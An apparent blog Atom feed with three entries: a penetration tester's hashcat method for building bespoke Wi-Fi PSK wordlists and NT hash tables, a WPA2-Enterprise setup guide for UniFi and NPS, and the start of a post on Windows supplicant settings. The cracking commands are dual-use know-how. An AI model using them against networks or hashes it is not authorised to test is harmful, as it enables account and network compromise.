<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en"><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://blog.infamoussyn.com/feed.xml" rel="self" type="application/atom+xml" /><link href="https://blog.infamoussyn.com/" rel="alternate" type="text/html" hreflang="en" /><updated>2026-02-25T22:19:31+00:00</updated><id>https://blog.infamoussyn.com/feed.xml</id><title type="html">InfamousSYN</title><author><name>InfamousSYN</name><email>ainfamoussyn@gmail.com</email></author><entry><title type="html">Demonstrating Threat Actor Thought Process For Known Password Cracking</title><link href="https://blog.infamoussyn.com/posts/2025/02/22/Demonstrating-Threat-Actor-Thought-Process-For-Password-Cracking.html" rel="alternate" type="text/html" title="Demonstrating Threat Actor Thought Process For Known Password Cracking" /><published>2025-02-22T00:00:00+00:00</published><updated>2025-02-22T00:00:00+00:00</updated><id>https://blog.infamoussyn.com/posts/2025/02/22/Demonstrating%20Threat%20Actor%20Thought%20Process%20For%20Password%20Cracking</id><content type="html" xml:base="https://blog.infamoussyn.com/posts/2025/02/22/Demonstrating-Threat-Actor-Thought-Process-For-Password-Cracking.html"><![CDATA[<ul id="markdown-toc">
  <li><a href="#the-base-words" id="markdown-toc-the-base-words">The Base Word(s)</a></li>
  <li><a href="#the-process" id="markdown-toc-the-process">The Process</a>    <ul>
      <li><a href="#steps" id="markdown-toc-steps">Steps</a></li>
    </ul>
  </li>
  <li><a href="#typical-final-use-case" id="markdown-toc-typical-final-use-case">Typical final use case</a></li>
  <li><a href="#generating-the-nt-hashes" id="markdown-toc-generating-the-nt-hashes">Generating the NT hashes</a></li>
  <li><a href="#references" id="markdown-toc-references">References</a></li>
</ul>

<p>From time to time I have to determine how “guessible” a password is - typically this when the customer gives me the Pre-Shared Key (PSK) during a Wi-Fi penetration test to save me having to blindly brute force it for the sake of time and money. Internally I’ve documented my thought process for how approach demonstrating how likely a given known password would be to a bruteforce attack.</p>

<h2 id="the-base-words">The Base Word(s)</h2>

<p>I often focus on the base word in this process - because a good base word will break or make this. Often in Wi-Fi penetration testing we have to generate our own PSK wordlists because organisation’s quite frequentally use some derivity related specifically to them, and it’s just unlikely to appear in common wordlists (AKA <a href="https://github.com/danielmiessler/SecLists">SecLists</a>).</p>

<p>When building bespoke wordlists we are should consider using a list of common characteristics that users might have mixed into their PSKs, such as the below (non-exhaustive) list:</p>

<ul>
  <li>company name ( this characteristic will often be the base word itself for our bespoke wordlists )
    <ul>
      <li>short-form</li>
      <li>long-form</li>
      <li>acronym</li>
    </ul>
  </li>
  <li>geography
    <ul>
      <li>city name</li>
      <li>suburb</li>
      <li>postcode</li>
    </ul>
  </li>
  <li>infrastructure
    <ul>
      <li>WLAN name, such a guest network PSK including the characteristic ‘guest’ in the key</li>
      <li>business purpose, such as a Point of Sale network PSK including the characteristic ‘POS’ in the key</li>
    </ul>
  </li>
</ul>

<h2 id="the-process">The Process</h2>

<p>The process itself is very simple - it boils down to 3 steps typically, and involves using hashcat iteratively to generate a list of interim wordlist files.</p>

<ol>
  <li>create a list of the base words</li>
  <li>mutate the words</li>
  <li>generate permutations of mutated words</li>
</ol>

<h3 id="steps">Steps</h3>

<ol>
  <li>Generate a wordlist containing the base word converted to leetspeak</li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s2">"[PASSWORD]"</span> | hashcat <span class="nt">--quiet</span> <span class="nt">-r</span> /usr/share/hashcat/rules/Incisive-leetspeak.rule <span class="nt">--stdout</span> <span class="o">&gt;&gt;</span> word.leet 
</code></pre></div></div>

<ol>
  <li>Iterate through each of the words in the wordlist, toggling the case of each letter.</li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hashcat <span class="nt">--quiet</span> word.leet  <span class="nt">-r</span> /usr/share/hashcat/rules/toggles3.rule <span class="nt">--stdout</span> <span class="o">&gt;&gt;</span> word.toggle3 
</code></pre></div></div>

<p class="note">Typically, I would not go beyond using <code class="language-plaintext highlighter-rouge">toggle4.rule</code> ruleset, especially if I will be eventually writing the output of later steps to disk as well.</p>

<ol>
  <li>Prepend a mask using hashcat</li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hashcat <span class="nt">--quiet</span> word.toggle3 <span class="o">[</span><span class="nt">--stdout</span><span class="o">]</span> <span class="nt">-a</span> 6 <span class="nt">-i</span> <span class="nt">--increment-max</span> <span class="o">[</span>N] <span class="o">[</span>MASK]
</code></pre></div></div>

<p class="note">When append masks to the end of wordlist’s entries, I prefer to keep this workload in memory. However, there have been cases where I need to pipe to the output into subsequent commands (see in the below sections) - in those cases, I would include the <code class="language-plaintext highlighter-rouge">--stdout</code> flag in step 3 as well.</p>

<h2 id="typical-final-use-case">Typical final use case</h2>

<p>Below is the command is the typically format I would use in demonstrations, I like to use <code class="language-plaintext highlighter-rouge">-i --increment-max [N]</code> to still emulate somewhat speculative bruteforcing - rather than 100% min-max precision.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s2">"[KNOWN PASSWORD]"</span> | hashcat <span class="nt">--quiet</span> word.toggle3 <span class="nt">-a</span> 6 <span class="nt">-i</span> <span class="nt">--increment-max</span> 2 ?d?d
</code></pre></div></div>

<h2 id="generating-the-nt-hashes">Generating the NT hashes</h2>

<p>While I originally created this process for PSK cracking, it is easily appliable to other scenarios. Over this weekend, I was asked to answer the question (which also prompted me to write a blogpost about it) could I generate a list of NT hashes for a password starting with the letter “p” and ending with the number “1”. The essence of the questin was could I generate a NT hash table. I modified the step 3 (see above) to directly the pipe the hashcat output through a OpenSSL operation that would perform MD4 hashing - resulting in the NT hash.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[</span>HASHCAT] | xargs <span class="nt">-I</span><span class="o">{}</span> bash <span class="nt">-c</span> <span class="s1">'hash=$(echo -n "{}" | iconv -f UTF-8 -t UTF-16LE | openssl md4 | cut -d" " -f2); printf "%s,%s,%s\n" "{}" "$hash" "${hash^^}"'</span> <span class="o">&gt;&gt;</span> <span class="o">[</span>OUTUT CSV]
</code></pre></div></div>

<h1 id="references">References</h1>

<ul>
  <li><a href="https://www.4armed.com/blog/perform-mask-attack-hashcat/">How to Perform a Mask Attack Using hashcat</a></li>
</ul>]]></content><author><name>InfamousSYN</name><email>ainfamoussyn@gmail.com</email></author><category term="posts" /><category term="thoughtleadership" /><category term="hashcat" /><category term="password cracking" /><summary type="html"><![CDATA[Using hashcat to build target specific wordlists]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blog.infamoussyn.com/assets/icons/infamoussyn.png" /><media:content medium="image" url="https://blog.infamoussyn.com/assets/icons/infamoussyn.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Building a WPA2 Enterprise WLAN with a Ubiquiti UniFi Controller and a Microsoft Network Policy Server</title><link href="https://blog.infamoussyn.com/posts/wifi/2023/12/17/Building-a-WPA2-Enterprise-WLAN-with-Ubiquiti-UniFi-and-a-Microsoft-Network-Policy-Server.html" rel="alternate" type="text/html" title="Building a WPA2 Enterprise WLAN with a Ubiquiti UniFi Controller and a Microsoft Network Policy Server" /><published>2023-12-17T00:00:00+00:00</published><updated>2023-12-17T00:00:00+00:00</updated><id>https://blog.infamoussyn.com/posts/wifi/2023/12/17/Building%20a%20WPA2%20Enterprise%20WLAN%20with%20Ubiquiti%20UniFi%20and%20a%20Microsoft%20Network%20Policy%20Server</id><content type="html" xml:base="https://blog.infamoussyn.com/posts/wifi/2023/12/17/Building-a-WPA2-Enterprise-WLAN-with-Ubiquiti-UniFi-and-a-Microsoft-Network-Policy-Server.html"><![CDATA[<ul id="markdown-toc">
  <li><a href="#components" id="markdown-toc-components">Components</a></li>
  <li><a href="#building-the-wlan-environment" id="markdown-toc-building-the-wlan-environment">Building the WLAN environment</a>    <ul>
      <li><a href="#configure-network-infrastructure" id="markdown-toc-configure-network-infrastructure">Configure Network Infrastructure</a></li>
      <li><a href="#installing-the-unifi-network-server-application" id="markdown-toc-installing-the-unifi-network-server-application">Installing the UniFi Network Server application</a></li>
      <li><a href="#initial-windows-server-configuration" id="markdown-toc-initial-windows-server-configuration">Initial Windows server configuration</a>        <ul>
          <li><a href="#configure-a-static-ip-address" id="markdown-toc-configure-a-static-ip-address">Configure a static IP address</a></li>
          <li><a href="#generate-the-radius-server-certificate" id="markdown-toc-generate-the-radius-server-certificate">Generate the RADIUS server certificate</a>            <ul>
              <li><a href="#method-1-generating-a-self-signed-certificate" id="markdown-toc-method-1-generating-a-self-signed-certificate">(method 1) Generating a self-signed certificate</a></li>
              <li><a href="#method-2-generating-a-letsencrypt-certificate" id="markdown-toc-method-2-generating-a-letsencrypt-certificate">(method 2) Generating a letsencrypt certificate</a></li>
            </ul>
          </li>
        </ul>
      </li>
      <li><a href="#installing-the-windows-servers-roles" id="markdown-toc-installing-the-windows-servers-roles">Installing the Windows Servers roles</a></li>
      <li><a href="#configuring-the-windows-servers-roles" id="markdown-toc-configuring-the-windows-servers-roles">Configuring the Windows Servers roles</a>        <ul>
          <li><a href="#configure-dns-server-role" id="markdown-toc-configure-dns-server-role">Configure DNS Server role</a></li>
          <li><a href="#configure-active-directory-domain-services" id="markdown-toc-configure-active-directory-domain-services">Configure Active Directory Domain Services</a></li>
          <li><a href="#configure-network-policy-and-access-services" id="markdown-toc-configure-network-policy-and-access-services">Configure Network Policy and Access Services</a></li>
          <li><a href="#configure-vlan-tagging-optional" id="markdown-toc-configure-vlan-tagging-optional">Configure VLAN Tagging (<strong>Optional</strong>)</a></li>
        </ul>
      </li>
      <li><a href="#configuring-the-unifi-network-server" id="markdown-toc-configuring-the-unifi-network-server">Configuring the UniFi Network Server</a>        <ul>
          <li><a href="#define-a-radius-profile-template" id="markdown-toc-define-a-radius-profile-template">Define a RADIUS profile template</a></li>
          <li><a href="#create-a-network-profile-template" id="markdown-toc-create-a-network-profile-template">Create a network profile template</a></li>
          <li><a href="#create-the-wlan-profile" id="markdown-toc-create-the-wlan-profile">Create the WLAN profile</a></li>
        </ul>
      </li>
    </ul>
  </li>
  <li><a href="#references" id="markdown-toc-references">References</a></li>
</ul>

<p>This article aims to be the documentation how to build and configure a Ubiquiti WPA2-Enterprise WLAN with Microsoft Network Policy Server (NPS) as the supporting RADIUS server. The WLAN will use EAP-PEAP/MSCHAPv2 to authenticate the users, as it is typically easier and less expensive to deploy than EAP-TLS or EAP-PEAP/TLS.</p>

<p class="note">An important note is that within the Ubiquiti infrastructure stack is that a Ubiquiti Secure Gateway (USG) or third-party gateway is required to configure the VLANs to be assigned to the WLANs. This is because the UniFi Controller server does not have capabilities to define VLANs and subnets.</p>

<h2 id="components">Components</h2>

<ol>
  <li>Ubiquiti Lite Access Point (AP)</li>
  <li>Windows Server 2022</li>
  <li>Ubuntu 22.04.3 LTS</li>
  <li>(<strong>optional</strong>) purchased domain</li>
  <li>Managed layer 3 switch <strong>OR</strong> a managed layer 2 switch &amp; router <strong>OR</strong> Ubiquiti Secure Gateway (USG)</li>
</ol>

<hr />

<h2 id="building-the-wlan-environment">Building the WLAN environment</h2>

<p class="note">This guide assumes that the Windows 2022 and Ubuntu 22.04.3 LTS servers have been pre-built, such as Virtual Machines (VMs). Additionally, that the servers, and the Ubiquiti AP are connected to the same local subnet, and finally there is a DHCP server in place to service the subnet.</p>

<h3 id="configure-network-infrastructure">Configure Network Infrastructure</h3>

<p>For simplicity, this article will use a layer 3 switch (a Cisco Catalyst switch) to define the VLAN and it’s the DHCP service.</p>

<ol>
  <li>Enable layer 3 functionality</li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>config terminal
ip routing
</code></pre></div></div>

<ol>
  <li>Define the DHCP pool, and limit subnet pool range as required</li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>configure terminal
ip dhcp pool infamouseap
network 10.0.10.0 255.255.255.0
default-router 10.0.10.1
dns-server 10.0.10.99
<span class="nb">exit
</span>ip dhcp excluded-address 10.0.11.1 10.0.11.199
</code></pre></div></div>

<ol>
  <li>Define the VLAN</li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>interface Vlan10
description <span class="s2">"InfamousEAP subnet"</span>
ip address 10.0.10.1 255.255.255.0
</code></pre></div></div>

<ol>
  <li>Configure the trunk switch port to the UniFi Access Point (AP), defining which VLANs can transit the trunk link.</li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>interface FastEthernet0/6
description <span class="s2">"link to UAP-AC-Lite"</span>
switchport trunk encapsulation dot1q
switchport trunk allowed vlan 1,10,11
switchport mode trunk
spanning-tree portfast
</code></pre></div></div>

<h3 id="installing-the-unifi-network-server-application">Installing the UniFi Network Server application</h3>

<p>The UniFi Network Server application will be installed on the Ubuntu 22.04.3 LTS server. UniFi NEtwork Server software is the Wireless LAN Controller (WLC) released by Ubiquiti to managed the Ubiquiti Lite AP.</p>

<ol>
  <li>Download and launch the promoted <a href="https://glennr.nl/s/unifi-network-controller">unifi network application script</a> by GlennR with the following command:</li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">rm </span>unifi-latest.sh &amp;&gt; /dev/null<span class="p">;</span> <span class="se">\</span>
wget https://get.glennr.nl/unifi/install/install_latest/unifi-latest.sh<span class="p">;</span> <span class="se">\</span>
<span class="nb">sudo </span>bash unifi-latest.sh <span class="nt">--skip</span>
</code></pre></div></div>

<p><img src="/assets/img/2023-12-17-Building a WPA2 Enterprise WLAN with Ubiquiti UniFi and a Microsoft Network Policy Server/unifi installed.png" alt="" /></p>

<hr />

<h3 id="initial-windows-server-configuration">Initial Windows server configuration</h3>

<h4 id="configure-a-static-ip-address">Configure a static IP address</h4>

<ol>
  <li>Set an appropriate static IP address</li>
</ol>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Win + R &gt; ncpa.cpl &gt; Right Click Adapter &gt; Properties &gt; Internet Protocol Version 4 &gt; Properties 
</code></pre></div></div>

<p><img src="/assets/img/2023-12-17-Building a WPA2 Enterprise WLAN with Ubiquiti UniFi and a Microsoft Network Policy Server/windows - network configuration.png" alt="" /></p>

<p><img src="/assets/img/2023-12-17-Building a WPA2 Enterprise WLAN with Ubiquiti UniFi and a Microsoft Network Policy Server/windows - network configuration - 2.png" alt="" /></p>

<h4 id="generate-the-radius-server-certificate">Generate the RADIUS server certificate</h4>

<p>Two methods for generating the RADIUS server certificate have been provided below.</p>

<h5 id="method-1-generating-a-self-signed-certificate">(method 1) Generating a self-signed certificate</h5>

<ol>
  <li>Run the following PowerShell command to generated and install the self-signed certificate:</li>
</ol>

<pre><code class="language-PowerShell">New-SelfSignedCertificate -dnsname ([System.Net.Dns]::GetHostByName($env:computerName).HostName) -KeyLength 2048 -CertStoreLocation cert:\LocalMachine\My -NotAfter (Get-Date).AddYears(20)
</code></pre>

<p class="note">This method will often require the Wi-Fi client to disable server validation completely, as by default self-signed certificates are not trusted in certain Operating Systems (OS), such as Windows.</p>

<h5 id="method-2-generating-a-letsencrypt-certificate">(method 2) Generating a letsencrypt certificate</h5>

<p>This method will require the purchased domain listed as optional in the <a href="#components">components</a> section above. At a highlevel, the purchased domain <strong>will</strong> need to be used as the Active Directory Domain Services (AD DS) domain suffix in later steps. Additionally the steps in this method will need to be performed on a system that has a public DNS record for the purchased domain.</p>

<p class="note">Typically, my personal preference is to deploy a droplet using <a href="https://www.digitalocean.com/">Digital Ocean</a>, then add an A record for the desired hostname that the lab’s RADIUS server will be called. (Example: radius.infamoussyn.com)</p>

<ol>
  <li>Install the letsencrypt cert-bot with the following command:</li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>python3 <span class="nt">-m</span> pip <span class="nb">install </span>certbot certbot-apache<span class="p">;</span> <span class="se">\</span>
<span class="nb">sudo ln</span> <span class="nt">-s</span> /opt/certbot/bin/certbot /usr/bin/certbot
</code></pre></div></div>

<ol>
  <li>Generate the certificate with the following command:</li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s2">"1"</span> | certbot certonly <span class="nt">-d</span> <span class="o">[</span>domain name]
</code></pre></div></div>

<p class="note">After this point, any references to a DNS zone file will in relation to the internal zone file that will be configured as part of the <a href="#configure-dns-server-role">Configure DNS Server role </a> step.</p>

<hr />

<h3 id="installing-the-windows-servers-roles">Installing the Windows Servers roles</h3>

<ol>
  <li>Open the <code class="language-plaintext highlighter-rouge">Add Roles and Features Wizard</code> from the Server Manager, install the following roles:
    <ul>
      <li>Active Directory Domain Services</li>
      <li>DNS Server</li>
      <li>Network Policy and Access Services</li>
    </ul>
  </li>
</ol>

<p><img src="/assets/img/2023-12-17-Building a WPA2 Enterprise WLAN with Ubiquiti UniFi and a Microsoft Network Policy Server/windows - roles installed.png" alt="" /></p>

<hr />

<h3 id="configuring-the-windows-servers-roles">Configuring the Windows Servers roles</h3>

<h4 id="configure-dns-server-role">Configure DNS Server role</h4>

<ol>
  <li>Open the DNS Manager console</li>
  <li>Expand the tree menu, then right-click on the <code class="language-plaintext highlighter-rouge">Reverse Lookup Zones</code> node, and select <code class="language-plaintext highlighter-rouge">New Zone...</code> from the context menu to launch the wizard.</li>
</ol>

<p><img src="/assets/img/2023-12-17-Building a WPA2 Enterprise WLAN with Ubiquiti UniFi and a Microsoft Network Policy Server/windows dns - reverse zone wizard.png" alt="" /></p>

<ol>
  <li>Expand the tree menu, then right-click on the <code class="language-plaintext highlighter-rouge">Forward Lookup Zones</code> node, and select <code class="language-plaintext highlighter-rouge">New Zone...</code> from the context menu to launch the wizard.</li>
</ol>

<p><img src="/assets/img/2023-12-17-Building a WPA2 Enterprise WLAN with Ubiquiti UniFi and a Microsoft Network Policy Server/windows dns - forward zone wizard.png" alt="" /></p>

<ol>
  <li>Exapnd the tree menu, select the newly created forward zone, then right-click within the zone’s view screen and select the <code class="language-plaintext highlighter-rouge">New Host (A or AAAA)</code> option from the context menu. When creating the A record, ensure that the <code class="language-plaintext highlighter-rouge">Create associated pointer (PTR) record</code> tickbox is also checked for the corrosponding PTR record for the A record is also added the reverse zone file at the same time.</li>
</ol>

<p class="note">Depending on the intended design needs of the lab, you may want to rename your server to a more relevant name before creating the A record. The name should make the subject of the issued certificate from the <a href="#generate-the-radius-server-certificate">Generate the RADIUS server certificate</a> step. I typically skip the renaming step and create a CNAME record, in addition to the server’s A record in the local zone file, that matches the subject name instead.</p>

<h4 id="configure-active-directory-domain-services">Configure Active Directory Domain Services</h4>

<ol>
  <li>Progress through the Domain Controller promotion wizard, ensuring that the created domain corrosponds to purchased domain from the <a href="#method-2-generating-a-letsencrypt-certificate">(method 2) Generating a letsencrypt certificate </a> step if applicable.</li>
  <li>(<strong>optional</strong>) Integrate the DNS service with the Active Directory Domain Services by right-clicking inside the right-hand screen of the DNS Manager console, then select <code class="language-plaintext highlighter-rouge">Properties</code> from the context menu. From the Properties window, click the <code class="language-plaintext highlighter-rouge">General</code> tab, and then press the <code class="language-plaintext highlighter-rouge">Change...</code> button. Finally, ensure that the <code class="language-plaintext highlighter-rouge">Store the zone in Active Directory (available only if DNS server is a domain controller)</code> tick box has been selected.</li>
</ol>

<p><img src="/assets/img/2023-12-17-Building a WPA2 Enterprise WLAN with Ubiquiti UniFi and a Microsoft Network Policy Server/windows dns - adidns - 1.png" alt="" /></p>

<p><img src="/assets/img/2023-12-17-Building a WPA2 Enterprise WLAN with Ubiquiti UniFi and a Microsoft Network Policy Server/windows dns - adidns - 2.png" alt="" /></p>

<h4 id="configure-network-policy-and-access-services">Configure Network Policy and Access Services</h4>

<p>For the purposes of speed and ease, templates will be configured in the Network Policy and Access Services (NPAS) console before configuring the connection profiles.</p>

<ol>
  <li>Ensure that the certificate generated in the <a href="#generate-the-radius-server-certificate">Generate the RADIUS server certificate</a> step has been installed in the server’s local certificate store.</li>
  <li>Launch the Network Policy Server console</li>
  <li>Expand the <code class="language-plaintext highlighter-rouge">NPS (Local)</code> tree, and click on the <code class="language-plaintext highlighter-rouge">Shared Secrets</code> node, then right click on the node and select <code class="language-plaintext highlighter-rouge">New</code> from the context menu, then configure the shared secrets template.</li>
</ol>

<p class="note">Ensure that the secret configured at this stage is secretly stored, as it will be needed again in the <a href="#defining-a-radius-profile">Defining a RADIUS profile</a> step to pair the UniFi with the NPS server.</p>

<p><img src="/assets/img/2023-12-17-Building a WPA2 Enterprise WLAN with Ubiquiti UniFi and a Microsoft Network Policy Server/windows nps - shared secrets template.png" alt="" /></p>

<ol>
  <li>Expand the <code class="language-plaintext highlighter-rouge">NPS (Local)</code> tree, and click on the <code class="language-plaintext highlighter-rouge">RADIUS Clients</code> node, then right click on the node and select <code class="language-plaintext highlighter-rouge">New</code> from the context menu, then configure the client template. Ensure that the newly created <code class="language-plaintext highlighter-rouge">Shared Secrets</code> template is used by the client template as well.</li>
</ol>

<p class="note">RADIUS clients are the AP themselves, therefore the IP address of the AP must be known prior to configuring the template.</p>

<p><img src="/assets/img/2023-12-17-Building a WPA2 Enterprise WLAN with Ubiquiti UniFi and a Microsoft Network Policy Server/windows nps - clients template.png" alt="" /></p>

<ol>
  <li>Right-click on the <code class="language-plaintext highlighter-rouge">NPS (Local)</code> root node, change the standard configuration scenario to <code class="language-plaintext highlighter-rouge">RADIUS server 802.1X Wireless or Wired Connections</code></li>
</ol>

<p><img src="/assets/img/2023-12-17-Building a WPA2 Enterprise WLAN with Ubiquiti UniFi and a Microsoft Network Policy Server/windows nps - start configuration profile.png" alt="" /></p>

<ol>
  <li>Ensure the <code class="language-plaintext highlighter-rouge">Secure Wireless Connections</code> radio button is select, and name the configuration request profile, then click <code class="language-plaintext highlighter-rouge">Next</code> button</li>
</ol>

<p><img src="/assets/img/2023-12-17-Building a WPA2 Enterprise WLAN with Ubiquiti UniFi and a Microsoft Network Policy Server/windows nps - set request type.png" alt="" /></p>

<ol>
  <li>Ensure that the created RADIUS Client template has been added, then click <code class="language-plaintext highlighter-rouge">Next</code> button</li>
  <li>Change the type of the <code class="language-plaintext highlighter-rouge">Microsoft: Protected EAP (PEAP</code>, and then press the <code class="language-plaintext highlighter-rouge">Configure...</code> button. Ensure that the appropriately installed certificate is selected, after which click the <code class="language-plaintext highlighter-rouge">OK</code> button, and then the <code class="language-plaintext highlighter-rouge">Next</code> button</li>
</ol>

<p><img src="/assets/img/2023-12-17-Building a WPA2 Enterprise WLAN with Ubiquiti UniFi and a Microsoft Network Policy Server/windows nps - configure auth method.png" alt="" /></p>

<ol>
  <li>Once at the <code class="language-plaintext highlighter-rouge">Security User Groups</code> screen, create a new security group in the Active Directory Domain Services (AD DS)</li>
</ol>

<p><img src="/assets/img/2023-12-17-Building a WPA2 Enterprise WLAN with Ubiquiti UniFi and a Microsoft Network Policy Server/windows adds - configure group.png" alt="" /></p>

<ol>
  <li>Add the newly created security group to the Groups list, then complete the wizard</li>
</ol>

<p><img src="/assets/img/2023-12-17-Building a WPA2 Enterprise WLAN with Ubiquiti UniFi and a Microsoft Network Policy Server/windows nps - security groups.png" alt="" /></p>

<ol>
  <li>Expand the <code class="language-plaintext highlighter-rouge">NPS (Local)</code> tree, and click on the <code class="language-plaintext highlighter-rouge">Network Policies</code> node, right-click the newly created connection profile, then in the properties window, click the <code class="language-plaintext highlighter-rouge">Settings</code> tab, then navigate to the <code class="language-plaintext highlighter-rouge">IP Settings</code> menu and click the <code class="language-plaintext highlighter-rouge">Client may request an IP address</code> radio button is ticked.</li>
</ol>

<p><img src="/assets/img/2023-12-17-Building a WPA2 Enterprise WLAN with Ubiquiti UniFi and a Microsoft Network Policy Server/windows nps - change the IP settings.png" alt="" /></p>

<h4 id="configure-vlan-tagging-optional">Configure VLAN Tagging (<strong>Optional</strong>)</h4>

<p>If the WLAN design requires users to be placed into a different VLAN to that of the RADIUS server, RADIUS attributes can be configured to handle the require tagging.</p>

<ol>
  <li>Click on <code class="language-plaintext highlighter-rouge">Standard</code> under the <code class="language-plaintext highlighter-rouge">RADIUS Attributes</code> group in the <code class="language-plaintext highlighter-rouge">Settings</code> tab, then add the following attributes:</li>
</ol>

<ul>
  <li><code class="language-plaintext highlighter-rouge">Tunnel-Type</code>: Click the <code class="language-plaintext highlighter-rouge">Commonnly used for 802.1x</code> radio button, then select <code class="language-plaintext highlighter-rouge">Virtual LANs (VLAN)</code> from the drop down list</li>
  <li><code class="language-plaintext highlighter-rouge">Tunnel-Medium-Type</code>: Click the <code class="language-plaintext highlighter-rouge">802 (Includes all 802 media plus Ethernet canonical format)</code> radio button</li>
  <li><code class="language-plaintext highlighter-rouge">Tunnel-Pvt-Group-ID</code>: Click the <code class="language-plaintext highlighter-rouge">String</code> radio button and then specify the VLAN value</li>
</ul>

<p><img src="/assets/img/2023-12-17-Building a WPA2 Enterprise WLAN with Ubiquiti UniFi and a Microsoft Network Policy Server/windows nps - radius attributes.png" alt="" /></p>

<hr />

<h3 id="configuring-the-unifi-network-server">Configuring the UniFi Network Server</h3>

<p>For the purposes of speed and ease, templates will be configured in the UniFi web console before configuring the WLAN profile.</p>

<h4 id="define-a-radius-profile-template">Define a RADIUS profile template</h4>

<ol>
  <li>Navigate through the Settings menu to the Profiles menu, and then select the <code class="language-plaintext highlighter-rouge">RADIUS</code> tab, finally create a template</li>
</ol>

<p><img src="/assets/img/2023-12-17-Building a WPA2 Enterprise WLAN with Ubiquiti UniFi and a Microsoft Network Policy Server/unifi - radius profile template.png" alt="" /></p>

<h4 id="create-a-network-profile-template">Create a network profile template</h4>

<ol>
  <li>Navigate through the Settings menu to the Networks menu, then create a network profile template. Ensure that the VLAN ID corrosponds to the value set during the <a href="#configure-network-infrastructure">Configure Network Infrastructure</a> section.</li>
</ol>

<p><img src="/assets/img/2023-12-17-Building a WPA2 Enterprise WLAN with Ubiquiti UniFi and a Microsoft Network Policy Server/unifi - create a network profile.png" alt="" /></p>

<h4 id="create-the-wlan-profile">Create the WLAN profile</h4>

<ol>
  <li>Configure the WLAN profile, referencing the relevant templates</li>
</ol>

<p><img src="/assets/img/2023-12-17-Building a WPA2 Enterprise WLAN with Ubiquiti UniFi and a Microsoft Network Policy Server/unifi - wlan - 1.png" alt="" /></p>

<p><img src="/assets/img/2023-12-17-Building a WPA2 Enterprise WLAN with Ubiquiti UniFi and a Microsoft Network Policy Server/unifi - wlan - 2.png" alt="" /></p>

<h2 id="references">References</h2>

<ul>
  <li><a href="https://learn.microsoft.com/en-us/windows-server/networking/technologies/nps/nps-top">Microsoft: Network Policy Server (NPS)</a></li>
  <li><a href="https://learn.microsoft.com/en-us/windows-server/networking/core-network-guide/cncg/wireless/a-deploy-8021x-wireless-access">Microsoft: Deploy Password-Based 802.1X Authenticated Wireless Access</a></li>
  <li><a href="https://help.ui.com/hc/en-us/articles/220066768-Updating-and-Installing-Self-Hosted-UniFi-Network-Servers-Linux-">Ubiquiti: Updating and Installing Self-Hosted UniFi Network Servers (Linux)</a></li>
  <li><a href="https://ui.com/download/releases/network-server">Ubiquiti: Network Server Software Download</a></li>
  <li><a href="https://glennr.nl/s/unifi-network-controller">https://glennr.nl/s/unifi-network-controller</a></li>
</ul>]]></content><author><name>InfamousSYN</name><email>ainfamoussyn@gmail.com</email></author><category term="posts" /><category term="wifi" /><category term="wifi" /><summary type="html"><![CDATA[An end-to-end guide to building a Ubiquiti WPA2 Enterprise with Microsoft RADIUS WLANs]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blog.infamoussyn.com/assets/img/2023-12-17-Building%20a%20WPA2%20Enterprise%20WLAN%20with%20Ubiquiti%20UniFi%20and%20a%20Microsoft%20Network%20Policy%20Server/cover.png" /><media:content medium="image" url="https://blog.infamoussyn.com/assets/img/2023-12-17-Building%20a%20WPA2%20Enterprise%20WLAN%20with%20Ubiquiti%20UniFi%20and%20a%20Microsoft%20Network%20Policy%20Server/cover.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">An adversarial perspective of the Windows supplicant settings</title><link href="https://blog.infamoussyn.com/posts/wifi/2023/04/07/Understanding-PEAP-settings-in-windows.html" rel="alternate" type="text/html" title="An adversarial perspective of the Windows supplicant settings" /><published>2023-04-07T00:00:00+00:00</published><updated>2023-04-07T00:00:00+00:00</updated><id>https://blog.infamoussyn.com/posts/wifi/2023/04/07/Understanding-PEAP-settings-in-windows</id><content type="html" xml:base="https://blog.infamoussyn.com/posts/wifi/2023/04/07/Understanding-PEAP-settings-in-windows.html"><![CDATA[<ul id="markdown-toc">
  <li><a href="#tldr---understanding-the-perfect-storm-of-default-settings" id="markdown-toc-tldr---understanding-the-perfect-storm-of-default-settings">TL;DR - Understanding the perfect storm of default settings</a></li>
  <li><a href="#introduction" id="markdown-toc-introduction">Introduction</a></li>
  <li><a href="#windows-supplicant-properties" id="markdown-toc-windows-supplicant-properties">Windows Supplicant Properties</a>    <ul>
      <li><a href="#protected-eap-properties-window" id="markdown-toc-protected-eap-properties-window">Protected EAP Properties Window</a>        <ul>
          <li><a href="#verify-the-servers-identity-by-validating-the-certificate" id="markdown-toc-verify-the-servers-identity-by-validating-the-certificate">Verify the Server’s identity by validating the certificate</a></li>
          <li><a href="#connect-to-these-servers" id="markdown-toc-connect-to-these-servers">Connect to these servers</a></li>
          <li><a href="#trusted-root-certification-authorities" id="markdown-toc-trusted-root-certification-authorities">Trusted Root Certification Authorities</a></li>
          <li><a href="#notification-before-connecting" id="markdown-toc-notification-before-connecting">Notification before connecting</a></li>
